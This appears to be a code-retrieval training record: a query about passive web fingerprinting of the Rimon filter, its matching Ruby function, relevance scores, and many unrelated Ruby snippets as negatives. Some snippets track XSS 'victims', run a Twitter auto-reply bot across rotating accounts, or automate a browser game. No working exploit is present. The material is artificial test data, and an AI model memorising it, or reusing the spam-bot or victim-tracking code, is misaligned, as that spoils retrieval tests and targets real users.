"def links\n\ttmp = []\n @doc.xpath('//field[@id=\"linkedWorkItems\"]/list/struct').each do |struct|\n\t linked_wid = struct.xpath('item[@id=\"workItem\"]').text\n\t role = struct.xpath('item[@id=\"role\"]').text\n\t tmp << \"#{role}:#{linked_wid}\"\n\tend\n\treturn tmp\n end",
"def enumerate_attrs\n @node_attrs.keys.each_with_object({}) { |node, h|\n h[node] = enumerate_attrs_by_node(node)\n }\n end",
"def makena_params\n Rails.application.eager_load!\n dants = ActiveRecord::Base.descendants\n return dants.map{|a| a.to_s}.map{|a| [a.underscore+\"_parent_id\", a.underscore+\"_id\", a.underscore+\"_child_id\"]}.flatten\n end",
"def enumerate_attrs\n @node_attrs.keys.each_with_object({}) do |node, h|\n h[node] = enumerate_attrs_by_node(node)\n end\n end",
"def get_aggregated_attributes\n\t\t self.attributes[:parents] = \"\"\n #self.attributes.each { |k,v| puts \"#{k} ====> #{v}\" }\n parent = self.attributes[:parent]\n #pp attributes\n\t\t return attributes if parent.empty?\n template = self.belongs_to.templates.find { |temp| temp.name.downcase == parent.downcase }\n \n\t\t while not parent.empty? do\n #puts \"template = #{template.name}\"\n #puts \"parent of #{template.name} = #{template.attributes[:parent]}\"\n\t\t template.attributes.each { |k,v| self.attributes[k] = v if self.attributes[k].empty? }\n\t\t\t\tparent = template.attributes[:parent] \n\t\t\t\t#puts \"parent = [#{parent.empty?}]\"\n\t\t\t\tbreak if parent.empty?\n\t\t\t\tself.attributes[:parents] += \", #{parent}\"\n\t\t\t\ttemplate = self.belongs_to.templates.find { |temp| temp.name.downcase == parent.downcase } \n\t\t\t\t\n\t\t\t\t\n\t\t end\n\t\t attributes\n end",
"def initialize(owner_hash)\n @id = owner_hash[:id]\n @name = owner_hash[:name]\n @address = owner_hash[:address]\n @account_IDs = [] # This is an array because the same owner could have multiple accounts.\n end",
"def scopecontent_elements(marc)\n element = {\n name: 'scopecontent',\n attrs: { encodinganalog: '520' }\n }\n element[:children] = marc.fields('520').map do |field|\n {\n name: 'p',\n value: field.subfields.map(&:value).join(' ')\n }\n end\n [element]\n end",
"def init_jaxb_json_hash(_o)\n @artifact = Org::Apache::Archiva::Maven2::Model::Artifact.from_json(_o['artifact']) unless _o['artifact'].nil?\n if !_o['childs'].nil?\n @childs = Array.new\n _oa = _o['childs']\n _oa.each { | _item | @childs.push Org::Apache::Archiva::Maven2::Model::TreeEntry.from_json(_item) }\n end\n end",
"def node_ids() ; ext_info[:nodes] ; end",
"def initialize(owner_hash)\n @id = owner_hash[:id]\n @name = owner_hash[:name]\n @address = owner_hash[:address]\n @account_IDs = []\n end",
"def construct_owner_attributes(reflection = @reflection)\n attributes = {}\n if reflection.macro == :belongs_to\n attributes[reflection.association_primary_key] = @owner.send(reflection.primary_key_name)\n else\n attributes[reflection.primary_key_name] = @owner.send(reflection.active_record_primary_key)\n\n if reflection.options[:as]\n attributes[\"#{reflection.options[:as]}_type\"] = @owner.class.base_class.name\n end\n end\n attributes\n end",
"def logical_attributes\n to_hash.slice(\n :cluster, :role, :cluster_node_id\n )\n end",
"def nested_attributes\n []\n end",
"def nodes\n nodes_by_id.values\n end",
"def collect_node_nei_hashes\n @log.info(\"#{__method__.to_s} started[#{self.class.to_s}]\")\n\n node_nei_hash = @redis_connector.fetch_relations\n end",
"def crossref_authors\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.contributors {\n authors.each_with_index do |author, index|\n given_name = author.given_name\n surname = author.last_name\n orcid = author.orcid\n if index == 0\n sequence = \"first\"\n else\n sequence = \"additional\"\n end\n xml.person_name(:sequence => sequence, :contributor_role => \"author\") {\n xml.given_name given_name.encode(:xml => :text)\n if surname.nil?\n xml.surname \"No Last Name\".encode(:xml => :text)\n else\n xml.surname surname.encode(:xml => :text)\n end\n xml.ORCID \"http://orcid.org/#{author.orcid}\" if !orcid.nil?\n }\n end\n }\n end\n\n return builder.doc.xpath('//contributors').to_xml\n end",
"def to_a\n result = []\n each do |elem|\n result << elem[:attrs]\n end\n result\n end",
"def initialize(attrs = {})\n attrs.stringify_keys!\n @nodes = []\n super(attrs)\n end",
"def repository_elements(marc)\n field852 = field852_for(marc)\n repository = {\n name: 'repository',\n encodinganalog: '852',\n children: []\n }\n repository[:children] << {\n name: 'corpname',\n value: \"#{field852['a']}\"\n }\n repository[:children] << {\n name: 'address',\n children: [{ name: \"addressline\", value: field852['e']}]\n }\n [repository]\n end",
"def get_values_for_verification\n \t@intermediate_nodes = self.get_intermediate_nodes\n @array = []\n\n @intermediate_nodes.each do |node|\n @array << node.sha.to_s\n if node.is_right_child\n @array << \"rchild\"\n else\n @array << \"lchild\"\n end\n end\n\n \t@array << Node.get_root_node.sha.to_s\n @array << \"root\"\n\n \treturn @array\n #return @intermediate_nodes\n end",
"def origination_elements(marc)\n elements = []\n origination = {\n name: 'origination',\n attrs: { label: 'Creator'},\n children: []\n }\n candidate_tags = {\n '100' => 'persname',\n '110' => 'corpname',\n '111' => 'corpname',\n '130' => 'title'\n }\n tag, label = candidate_tags.detect { |t,l| marc.fields(t).present? }\n return elements unless tag\n reject_codes = ['0','2']\n values = marc.fields(tag).map {|f| f.subfields.select {|s| !reject_codes.include?(s.code.to_s)}.map(&:value) }\n\n origination[:children] << {\n name: label,\n attrs: { encodinganalog: tag },\n value: values.flatten.join(' ')\n }\n elements << origination\n elements\n end",
"def nodes(tag)\n if nodes = @cache_nodes[tag]\n return nodes\n end\n hash_key = @hash_key_slice ? perform_hash_key_slice(tag) : tag\n regular_index = @regular_weight_array.size > 0 ? get_index(hash_key, @regular_weight_array.size) : 0\n standby_index = @standby_weight_array.size > 0 ? get_index(hash_key, @standby_weight_array.size) : 0\n nodes = [@regular_weight_array[regular_index], @standby_weight_array[standby_index]].compact\n @cache_nodes[tag] = nodes\n end",
"def all_objects\n objects = []\n each_namespace{|n| objects << n}\n each_namespace{|n| \n n.each_relvar{|r| objects << r}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_candidate_key{|k| objects << k}}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_foreign_key{|k| objects << k}}\n }\n objects\n end",
"def ret_new_objs_info(field_set_to_copy, create_override_attrs)\n ret = []\n ancestor_rel_ds = array_dataset(parent_rels, :target)\n\n # all parent_rels will have same cols so taking a sample\n remove_cols = [:ancestor_id, :display_name, :type, :ref, :canonical_template_node_id] + parent_rels.first.keys\n node_template_fs = field_set_to_copy.with_removed_cols(*remove_cols).with_added_cols(id: :node_template_id)\n node_template_wc = nil\n node_template_ds = Model.get_objects_just_dataset(model_handle, node_template_wc, Model::FieldSet.opt(node_template_fs))\n\n target_id = parent_rels.first[:datacenter_datacenter_id]\n sp_hash = {\n cols: [:id, :display_name, :type, :iaas_type],\n filter: [:eq, :id, target_id]\n }\n target = Model.get_obj(model_handle.createMH(:target), sp_hash)\n\n # mapping from node stub to node template and overriding appropriate node template columns\n unless matches.empty?\n ndx_node_matches = NodeMatch.ndx_node_matches(matches)\n mappings = ndx_node_matches.values.map{ |m| m.mapping}\n mapping_ds = array_dataset(mappings, :mapping)\n\n select_ds = ancestor_rel_ds.join_table(:inner, node_template_ds).join_table(:inner, mapping_ds, [:node_template_id])\n ret = Model.create_from_select(model_handle, field_set_to_copy, select_ds, create_override_attrs, create_opts)\n\n # update any external refs if any are set in ndx_node_matches\n update_external_refs!(ret, ndx_node_matches)\n ret.each do |r|\n if node_match = ndx_node_matches[r[:display_name]]\n r[:node_template_id] = node_match.mapping[:node_template_id]\n r.merge!(Aux.hash_subset(node_match.node, [:donot_clone, :target_refs_to_link, :target_refs_exist]))\n end\n end\n end\n ret\n end",
"def object_attributes\n []\n end",
"def nodes; end",
"def nodes; end",
"def nodes; end",
"def child_keys() []; end",
"def build_xml(xml)\n check_configuration\n xml.Aliases {\n xml.Quantity @cnames.size\n if @cnames.size > 0\n xml.Items {\n for cname in Array.wrap @cnames\n xml.CNAME cname\n end\n }\n end\n }\n end",
"def expand_attribute_list(al, result)\n al.each do |k, v|\n case k\n when :class\n if result[:class]\n result[:class] << \" \" << v\n else\n result[:class] = v\n end\n when :id\n result[:id] = v\n when :ref\n if self.ald[v]\n already = (result[:expanded_references] ||= [])\n if !already.include?(v)\n already << v\n expand_attribute_list(self.ald[v], result)\n else\n already << v\n maruku_error \"Circular reference between labels.\\n\\n\" +\n \"Label #{v.inspect} calls itself via recursion.\\nThe recursion is \" +\n already.map(&:inspect).join(' => ')\n end\n else\n if result[:unresolved_references]\n result[:unresolved_references] << \" \" << v\n else\n result[:unresolved_references] = v\n end\n\n # $stderr.puts \"Unresolved reference #{v.inspect} (avail: #{self.ald.keys.inspect})\"\n result[v.to_sym] = true\n end\n else\n result[k.to_sym] = v\n end\n end\n end",
"def owners\n @obj['owners']\n end",
"def ret_matching_nodes(parent_idh)\n if parent_idh[:model_name] == :node\n return [parent_idh]\n end\n filter = [:eq, :assembly_id, parent_idh.get_id()]\n if node_filter = ret_filter(pattern, :node)\n filter = [:and, filter, node_filter]\n end\n sp_hash = {\n cols: [:id, :group_id, :display_name],\n filter: filter\n }\n Model.get_objs(parent_idh.createMH(:node), sp_hash)\n end",
"def generate_logical_structure_members\n members_with_parents.map do |member|\n wayfinder = Wayfinder.for(member)\n if wayfinder.respond_to?(:decorated_scanned_maps) && wayfinder.decorated_scanned_maps.empty?\n wayfinder.geo_members.first\n else\n member\n end\n end.compact\n end",
"def generate_toc_tree(toc, type, attr); end",
"def build(*nodes, attributes: {}, infos: nil, recursive: true)\n\t\t\tnodes.each do |node|\n\t\t\t\tcase node\n\t\t\t\twhen Hash\n\t\t\t\t\tnode.each do |name,children|\n\t\t\t\t\t\tadd_node(name,children: [*children], attributes: attributes, infos: infos, recursive: recursive)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tadd_node(node, attributes: attributes, infos: infos, recursive: recursive)\n\t\t\t\tend\n\t\t\tend\n\t\t\tself\n\t\tend",
"def index\n @owner_properties = @owner.ownerProperties\n end",
"def get_node_and_component_attributes(_opts = {})\n node_attrs = get_node_attributes_stub\n component_attrs = get_objs(cols: [:component_attrs]).map { |r| r[:attribute] }\n component_attrs + node_attrs\n end",
"def build_associations(attributes)\n @associations.each do |(type, name, repository_klass, options, block)|\n klass = ASSOCIATION_CLASSES[type]\n\n _options = options.merge(association_name: name, mapper_name: self.name)\n\n attributes[name] = (if type == :embedded\n klass.new(repository_klass, attributes[name], @repository.scope, _options)\n else\n klass.new(repository_klass, @repository.scope, @repository.adapter, _options, &block)\n end)\n end\n end",
"def js_flat_hash(options = {}) # :yield: String\n @opt = {\n :max_depth => 999,\n :depth => 0,\n :children => [],\n :relationship_type => 'all' # or an Isa#id\n }.merge!(options.symbolize_keys)\n @opt[:depth] = @opt[:depth] + 1\n if @opt[:depth] < @opt[:max_depth]\n self.child_ontology_relationships(@opt).each do |n|\n @opt[:children] << n\n n.ontology_class1.js_flat_hash(@opt)\n end\n end\n return @opt[:children]\n end",
"def build_tree(model)\n # inflate the node id to test id wrap around edge cases\n ENV[\"NODES\"].to_i.times { model.create!.destroy } if ENV[\"NODES\"]\n\n n1 = model.create!\n n2 = model.create!(:parent => n1)\n n3 = model.create!(:parent => n2)\n n4 = model.create!(:parent => n2)\n n5 = model.create!(:parent => n1)\n n6 = model.create!(:parent => n5)\n\n puts \"create: #{n1.id}..#{n6.id}\" if ENV[\"NODES\"]\n [n1, n2, n3, n4, n5, n6]\n end",
"def serializable_hash\n return nil if @object.nil?\n @node = attributes\n include_links!\n # include_associations! if _embed\n @node\n end",
"def to_a\n nodes.map(&:at)\n end",
"def build_arel(*)\n arel = super\n arel.only if self.itself_only_value === true\n build_inheritances(arel)\n arel\n end",
"def create_index_nodes_for_children(root_element)\n self.child_nodes.keys.each do |association_name|\n association_value = send(association_name)\n\n Array(association_value).each do |child_node|\n child_node.create_index_node(root_element)\n end\n end\n end",
"def res_node_for_child_2(ch_nodes)\n res = []\n\n if ch_nodes\n ch_nodes.each do |child|\n node_type = child.type\n res2 = {\n 'nodeinfo' => child,\n 'name' => child.get_name,\n 'instructor_id' => child.get_instructor_id, # add instructor id to the payload to make it available in the frontend\n 'key' => params[:reactParams2][:key],\n 'type' => node_type,\n 'private' => child.get_private,\n 'creation_date' => child.get_creation_date,\n 'updated_date' => child.get_modified_date\n }\n coursenode_assignmentnode(res2, child) if %w[CourseNode AssignmentNode].include? node_type\n res << res2\n end\n end\n res\n end",
"def aws_ou_list\n output = {}\n root_ou_id = @aws_org_client.list_roots.roots[0].id\n\n ou_recurse = lambda do |ous|\n ous.each do |ou_name, ou_id|\n children = aws_ou_list_children(ou_id, ou_name)\n unless children.empty?\n output.merge!(children)\n ou_recurse.call(children)\n end\n end\n end\n ou_recurse.call(root: root_ou_id)\n\n output\n end",
"def get_dynamic_attributes__node_components!(attr_names)\n ret = {}\n return ret unless attr_names.delete(:node_components)\n # TODO: hack\n ipv4_val = CommandAndControl.get_and_update_node_state!(self[:node], [:host_addresses_ipv4])\n return ret if ipv4_val.empty?\n cmps = self[:node].get_objs(cols: [:components]).map { |r| r[:component][:display_name].gsub('__', '::') }\n ret = { node_components: { ipv4_val.values.first[0] => cmps } }\n if attr_names.delete(:host_addresses_ipv4)\n ret.merge!(ipv4_val)\n end\n ret\n end",
"def build_all_attrs(table)\n hash = {}\n table.each do |line|\n id, attrs = nil, {}\n line.sub(\" />\\n\", '').split(' PFWeb:').drop(1).each.with_index do |e, i|\n match = e.match(/(?<name>\\S*)=\"?(?<val>.*)\"/)\n id = match[:val].to_sym if i == 0\n attrs[match[:name].to_sym] = match[:val]\n end\n hash[id] = attrs\n end\n hash\n end",
"def build_nodes!\n @nodes.sort_by(&:key).each { |node| add_node(@graph, node) }\n end",
"def build_nodes!\n @nodes.sort_by(&:key).each { |node| add_node(@graph, node) }\n end",
"def attr_list\n\t\ta_list \n\tend",
"def all_in_tree\n accounts = Array.new\n accounts += ancestors\n accounts += sibling_accounts\n accounts += children\n accounts << self\n return accounts\n end",
"def apply_creators(attributes)\n attributes[:creator_resource] ||= []\n attributes[:creator_resource_ids].collect do |creator|\n attributes[:creator_resource] << add_person(creator)\n end\n # attributes[:orcid].collect do |orcid|\n # attributes[:creator_resource] << create_person(orcid)\n # end\n # trim_attributes(attributes, [:creator_resource_ids, :orcid])\n trim_attributes(attributes, [:creator_resource_ids])\n end",
"def nodes\n []\n end",
"def recurse_nodes(parent_names, source_tmp_geo_area)\n if parent_names.count > 1\n parents = parent_names.dup # Tricky! \n name = parents.shift\n puts \"building internal node: #{name} : #{parents} \"\n add_item(\n name: name,\n parent_names: parents,\n source_table: source_tmp_geo_area.source_table,\n source_table_gid: source_tmp_geo_area.source_table_gid,\n is_internal_node: true\n )\n recurse_nodes(parents, source_tmp_geo_area)\n end\n end",
"def to_a\n @nodes\n end",
"def find_attributes(node, &block); end",
"def to_ast\n attr_ast = attributes.map { |name| [:attribute, name] }\n\n node_ast = nodes.map(&:to_ast)\n wrap_ast = wraps.map(&:to_ast)\n\n wrap_attrs = wraps.flat_map { |wrap|\n wrap.attributes.map { |c| [:attribute, :\"#{wrap.base_name.dataset}_#{c}\"] }\n }\n\n meta = options[:meta].merge(dataset: relation.base_name.dataset)\n meta.delete(:wraps)\n\n header = (attr_ast - wrap_attrs) + node_ast + wrap_ast\n\n [:relation, [relation.base_name.relation, meta, [:header, header]]]\n end",
"def address_nodes # :nodoc:\n @address_nodes\n end",
"def bioghist_elements(marc)\n element = {\n name: 'bioghist',\n attrs: { encodinganalog: '545' }\n }\n element[:children] = marc.fields('545').map do |field|\n {\n name: 'p',\n value: field.subfields.map(&:value).join(' ')\n }\n end\n [element]\n end",
"def getTags node\n array = [] #array to hold working collection\n \n node.children.each do |child|\n array << Hash[child.name,child.inner_text] unless child.name == 'text' #text \n end\n \n return array\n end",
"def initialize\n @nodes_hash = Hash.new\n end",
"def nodes_like_me\n nodes[:environment => @node.environment]\n end",
"def nodes(data)\n\tnodes = \n\t\tdata.collect{ |k,v| [k, v] }.flatten.uniq\n\t\t\t.collect do |data|\n\t\t\t\t{\n\t\t\t\t\t'id' => data\n\t\t\t\t\t# 'r' => data.split(' ')[1][0].to_i, # first digit\n\t\t\t\t}\n\t\t\tend\n\t\n\treturn nodes\nend",
"def attributes\n %i[id name description type placeholder parent_id]\n end",
"def dom_attributes\n ::OpenStruct.new({\n :map_id => map_id,\n :map_class => map_class,\n :container_class => container_class,\n :provider => map_provider\n })\n end"
] |
[
"0.56830907",
"0.5679426",
"0.5667093",
"0.563284",
"0.5626856",
"0.5610518",
"0.5460397",
"0.5420931",
"0.54174846",
"0.52575815",
"0.52226764",
"0.5220743",
"0.5220743",
"0.52176994",
"0.5190655",
"0.5183664",
"0.5174312",
"0.51666325",
"0.51519465",
"0.5149283",
"0.5147903",
"0.5134193",
"0.5132587",
"0.5098464",
"0.5098464",
"0.5082042",
"0.50749534",
"0.50599694",
"0.50578827",
"0.5055696",
"0.5042815",
"0.5042815",
"0.5040461",
"0.5026096",
"0.5025977",
"0.50231314",
"0.5017447",
"0.500984",
"0.50064594",
"0.5002092",
"0.49973568",
"0.49946818",
"0.4991236",
"0.49868533",
"0.49696243",
"0.49662226",
"0.49577528",
"0.49552727",
"0.49545124",
"0.49464446",
"0.4944974",
"0.49404964",
"0.49289298",
"0.49240413",
"0.49180388",
"0.49110436",
"0.4910626",
"0.4910401",
"0.48948276",
"0.48948276",
"0.48948276",
"0.48929578",
"0.4884075",
"0.48788357",
"0.4877025",
"0.48719168",
"0.4865902",
"0.4861586",
"0.48614565",
"0.48597756",
"0.4857303",
"0.48488003",
"0.48476744",
"0.48432705",
"0.4842676",
"0.48346335",
"0.4832733",
"0.48313618",
"0.48304045",
"0.48303443",
"0.4824283",
"0.48229897",
"0.4821895",
"0.4821895",
"0.4821683",
"0.48181438",
"0.48178723",
"0.4816669",
"0.48143214",
"0.48092005",
"0.48071754",
"0.48003182",
"0.47908056",
"0.4790584",
"0.47857827",
"0.47819507",
"0.47810826",
"0.4771784",
"0.47700578",
"0.47695073"
] |
0.5057177
|
29
|
More Info: ShodanHQ results as at 20110515 11,928 for Rimon: RWC_BLOCK 125 for Rimon RWC_BLOCK Google results as at 20110515 311 for "You are not recognized in the system !!!" Passive
|
def passive
m=[]
# HTTP Rimon Header
m << { :string=>@headers["rimon"].to_s } unless @headers["rimon"].nil?
# Return passive matches
m
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_rbs_availability!; end",
"def spotlight_block_internet_results\n return @spotlight_block_internet_results\n end",
"def test_00010_profanity_blocker\n \t@loginpage.login($user1)\n enable_profanity_blocker($networkslug, true)\n #check community post\n title_before = \"watir test profanity blocker - #{get_timestamp}\"\n title_after = PageObject.new(@browser).create_conversation($network, $networkslug, \"A Watir Topic\", \"discussion\", title_before, false)\n title_before[\"test profanity\"] = \"**** *********\"\n assert title_before == title_after\n # comment_root_post\n # reply_to_comment\n # #check hybris post\n # create_post_from_hybris\n enable_profanity_blocker($networkslug, false)\n title2_before = \"watir test profanity blocker - #{get_timestamp}\"\n title2_after = PageObject.new(@browser).create_conversation($network, $networkslug, \"A Watir Topic\", \"question\", title2_before, false)\n assert title2_before == title2_after\n end",
"def test_nonregistered_user_accepted_characters\n listings = []\n response = get_consumer_search_resp\n response['SearchResult']['BusinessListings'].each do |listing|\n listings << listing['Int_Xxid']\n end\n\n email_check = \"as.test_email-check+#{Common.random_uuid}@xx.com\"\n\n params = {\n 'request_host' => 'http://www.xx.com',\n 'to' => email_check,\n 'from' => email_check,\n 'from_name' => 'TESTr',\n 'lid' => listings.sample.to_s,\n 'note' => 'Checkout this listing!',\n 'mobile' => false\n }\n\n post '/em/share_listing', params\n assert_response(@response, :success)\n assert_match(@parsed_response['MailingID'], @parsed_response['Location'], @parsed_response)\n end",
"def blocklisted_response; end",
"def miss_reason; end",
"def confirm_gift_message_warning()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n wait_for_landing_page_load\n gift_messsage_error.should_exist\n invalid_gc_msg = gift_messsage_error.inner_text\n invalid_gc_msg.should match(\"Gift message cannot exceed 50 characters\")\n end",
"def test03_L1DLT03_TC_24418\n\t\t#skipping for now, currently unable to interact with the \"Like\" button\n\tend",
"def failed_purchase_response\n 'NUMTRANS=0000000000&NUMAPPEL=0000000000&NUMQUESTION=0000000000&SITE=1999888&RANG=99&AUTORISATION=&CODEREPONSE=00014&COMMENTAIRE=Demande trait?e avec succ?s ✔漢'\n end",
"def throw_fierce_lqqks\n 'Here I am, giving you Soviet-Satellite realness'\n end",
"def find_status\n message = \"\"\n # If the auction is over, check if we won or lost\n if self.item[:get_item_response][:item][:time_left] == \"PT0S\" && self.auction_status != \"Deleted\"\n begin\n if self.item[:get_item_response][:item][:selling_status][:high_bidder][:user_id] == self.user.username\n self.auction_status = \"Won\"\n message = \"Congratulations! You won the auction for \\\"#{self.item[:get_item_response][:item][:title][0,113]}\\\"! :)\"\n else\n self.auction_status = \"Lost\"\n message = \"Sorry, but you have lost the auction for \\\"#{self.item[:get_item_response][:item][:title][0,113]}\\\". :(\"\n end\n rescue\n # There was no high_bidder, which means no one bid.\n self.auction_status = \"Lost\"\n message = \"Sorry, but you have lost the auction for \\\"#{self.item[:get_item_response][:item][:title][0,113]}\\\". :(\"\n end\n \n # Send out the notification of win/loss if the user wants it and hasn't been notified yet.\n if self.user_notification == \"Text Message\" && self.been_notified.to_s.split(\",\")[0] != self.id &&\n self.been_notified.to_s.split(\",\")[1] != self.auction_status.downcase\n Resque.enqueue(NotificationSender, self.id, message)\n self.been_notified = self.id.to_s + \",#{self.auction_status.downcase}\"\n end\n elsif self.auction_status != \"Deleted\"\n self.auction_status = \"Active\"\n end\n end",
"def blocked_or_info_display(errata)\n [\n (%{<span class=\"blocked_indicator blocked_indicator_blocked\"\n title=\"Blocked on #{errata.active_blocking_issue.blocking_role.name.capitalize}: #{errata.active_blocking_issue.summary}\">BLOCK!</span>} if errata.is_blocked?),\n\n (%{<span class=\"blocked_indicator blocked_indicator_info_req\"\n title=\"Info requested from #{errata.active_info_request.info_role.name.capitalize}: #{errata.active_info_request.summary}\">Info?</span>} if errata.info_requested?),\n\n ].compact.join.html_safe\n end",
"def mmc_blockinfo\n\n # number of latest block\n @blckhigh = `#{@mmc_path} getblockcount`\n\n # hash of latest block\n blckhash = `#{@mmc_path} getblockhash #{@blckhigh}`\n\n # complete json of latest block\n blckinfo = `#{@mmc_path} getblock #{blckhash}`\n\n # difficulty of latest block\n @blckdiff = `#{@mmc_path} getdifficulty`\n\n # number of 30th latest block\n rcnthigh = @blckhigh.to_i - 30\n\n # hash of 30th latest block\n rcnthash = `#{@mmc_path} getblockhash #{rcnthigh}`\n\n # complete json of 30th latest block\n rcntinfo = `#{@mmc_path} getblock #{rcnthash}`\n\n # timestamp of latest block\n blcktime = JSON.parse(blckinfo)['time'].to_i\n\n # timestamp of 30th latest block\n rcnttime = JSON.parse(rcntinfo)['time'].to_i\n\n # average blocktime of 30 last blocks in seconds\n @blocktime = (blcktime.to_f - rcnttime.to_f) / 30.0\n\n # current hashrate in hashs per minute\n @hashrate = ((2 ** 32) * @blckdiff.to_f) / (@blocktime.to_f / 60.0)\n\n # calculates current block reward and total minted coins\n i = 0\n currweek = ((@blckhigh.to_f / 1680.0) - 0.5).round\n @reward = 280.0 ### @TODO: initial reward was limited, PTS shares\n @minted = 715842.49 ### @TODO: initial reward was limited, PTS shares\n while i < currweek do\n @minted += @reward * 1680.0\n @reward *= 0.95\n i += 1\n end\n @minted += (@blckhigh.to_f - (currweek * 1680.0)) * @reward\n\nend",
"def victim_tunneled\n\t\t\t\tbegin\n\t\t\t\t\treturn find(XSSF_VICTIM_DB, XSSF_VICTIM_HASH, {\"TUNNELED\" => true, \"ACTIVE\" => true})\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 16: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn nil\n\t\t\tend",
"def check_for_results\n if @names[0] == \"You can also try results from Google...\"\n return {\n beer_1: {\n name: \"Sorry no results found on BA\",\n brewery: \"\",\n style: \"\",\n url: \"\"\n }\n }\n end\n create_result_hash\n end",
"def essence_search\n for_one_user { |name, agent|\n begin\n page = agent.get MARKET_URL\n fail \"Invalid page. Cookie is from web3 or web4?\" if page.forms.size == 1\n\n guilds = Array.new\n page.forms.each {|form|\n if form[\"guild_id\"]\n guilds << form[\"guild_id\"]\n end\n }\n\n # Loops through each guild and checks to see if they have attack or damage essence available\n guilds.each {|guild|\n page = agent.post(GUILD_URL, {'guild_id' => guild, 'ajax' => '1', 'ajax' => '1'})\n essence = page.parser.xpath(\"//span[@style='color:#ec8900;']\")\n #atks = essence[0].text.split(\"/\")\n #if (atks.length == 2 and atks[0].to_i + 200 <= atks[1].to_i)\n # avail_atk = atks[1].to_i - atks[0].to_i\n # puts \"#{avail_atk} atk available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n #defs = essence[1].text.split(\"/\")\n #if (defs.length == 2 and defs[0].to_i + 200 <= defs[1].to_i)\n # avail_def = defs[1].to_i - defs[0].to_i\n # puts \"#{avail_def} def available:\\n#{ESSENCE_URL}=#{guild}\"\n #end\n dmgs = essence[2].text.split(\"/\")\n if (dmgs.length == 2 and dmgs[0].to_i + 200 <= dmgs[1].to_i)\n avail_dmg = dmgs[1].to_i - dmgs[0].to_i\n puts \"#{avail_dmg} dmg available:\\n#{ESSENCE_URL}=#{guild}\"\n end\n }\n rescue Exception => ex\n puts \"Error in essence search. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def user_keep_stats\n for_every_user { |name, agent|\n begin\n page = agent.post('https://web4.castleagegame.com/castle_ws/keep.php', {'ajax' => '1'})\n\n # The only selector that is available is this awful style block\n stats = page.parser.xpath(\"//div[@style='width:112px;height:25px;font-size:15px;text-align:center;overflow:hidden;cursor:default;']\")\n\n if (stats.length != 0)\n energy = stats[0].text[/[0-9]+/]\n stamina = stats[1].text[/[0-9]+/]\n attack = stats[2].text[/[0-9]+/]\n defense = stats[3].text[/[0-9]+/]\n health = stats[4].text[/[0-9]+/]\n army = stats[5].text[/[0-9]+/]\n\n puts \"#{name}\\nE:#{energy}, S:#{stamina}, A:#{attack}, D:#{defense}, H:#{health}, Army:#{army}\\n\"\n end\n rescue Exception => ex\n puts \"Error in user_keep_stats. #{ex.class}, Message: #{ex.message}\"\n end\n }\n end",
"def process \n \n #a = Account.oldest_used\n accounts = Account.order(:updated_at).all\n a = accounts.first\n\n tweets, data, self.temp_usernames = [],[],[]\n \n config = {:count => 100, :result_type => \"recent\" }\n config[:since_id] = self.last_tweet_id.to_i unless self.last_tweet_id.nil? \n \n while true\n r = a.tc.search(self.search + \" -rt -http -#ff\", config)\n break if r.results.empty? || tweets.count > MAX_RESULTS_PER_REQUEST\n \n config[:max_id] = r.results.last.id - 1\n tweets += r.results\n puts \"Found... #{tweets.count} tweets in total\"\n end\n \n # raise tweets.map{|t| \"@\" + t.from_user + \": \" + t.text }.to_yaml \n if !tweets.empty? \n\n replies = File.readlines \"vendor/replies/\" + self.responses\n\n our_accounts_list = Account.all.map{|x| x.username}\n blocked_keywords = Keyword.all.map{|x| x.name}\n\n tweets\n .reject { |t| t.text.include? 'http' } \n .reject { |t| our_accounts_list.include? t.from_user } # Reject if are our own accounts\n .reject { |t| t.text.downcase.split(' ').any? {|i| blocked_keywords.include? i } } # Reject blocked keywords\n .reject { |t| self.repeat_user(t.from_user) }\n .each_with_index do |t,i|\n puts \"#{i}. Tweet de @\" + t.from_user\n reply = \"@#{t.from_user} \" + replies[rand(replies.count)]\n\n #check encoding and length\n\n #apply filters\n\n data << SearchesResult.new({\n :account_id => accounts.sample.id, \n :username => t.from_user, \n :tweet => t.text, \n :reply => reply,\n :tweeted_at => t.created_at\n })\n end\n\n self.last_tweet_id = tweets.first.id\n self.save\n\n if !data.empty?\n SearchesResult.import data.reverse\n end\n end\n \n self.save_log tweets.count, data.count, 1\n \n \n data.map{|t| \"@\" + t.username + \": \" + t.tweet}.to_yaml\n end",
"def nsewc\n\t\tif params[\"type\"] == \"three\"\n\t\t\ttime = Time.zone.now.hour\n\t\t\tdoc2 = Nokogiri::HTML(open('http://app2.nea.gov.sg/anti-pollution-radiation-protection/air-pollution/psi/past-24-hour-psi-readings'))\n\t\t\tarray = doc2.css('td').to_a\n\t\t\tarrayResult = Array.new\n\t\t\tarrayResult.push(array[1].content.strip)\n\t\t\tarrayResult.push(array[4].content.strip)\n\t\t\tarrayResult.push(array[7].content.strip)\n\t\t\tarrayResult.push(array[10].content.strip)\n\t\t\tarrayResult.push(array[13].content.strip)\n\n\t\t\trender :json => arrayResult\n\t\telsif params[\"type\"] == \"twofive\"\n\t\t\ttime = Time.zone.now.hour\n\t\t\tdoc2 = Nokogiri::HTML(open('http://app2.nea.gov.sg/anti-pollution-radiation-protection/air-pollution/psi/past-24-hour-psi-readings'))\n\t\t\tarray = doc2.css('td').to_a\n\t\t\tarrayResult = Array.new\n\t\t\tarrayResult.push(array[2].content.strip)\n\t\t\tarrayResult.push(array[5].content.strip)\n\t\t\tarrayResult.push(array[8].content.strip)\n\t\t\tarrayResult.push(array[11].content.strip)\n\t\t\tarrayResult.push(array[14].content.strip)\n\t\t\trender :json => arrayResult\n\t\telse\n\t\t\ttime = Time.zone.now.hour\n\t\t\tdoc2 = Nokogiri::HTML(open('http://app2.nea.gov.sg/anti-pollution-radiation-protection/air-pollution/psi/past-24-hour-psi-readings'))\n\t\t\tarray = doc2.css('td').to_a\n\t\t\tarrayResult = 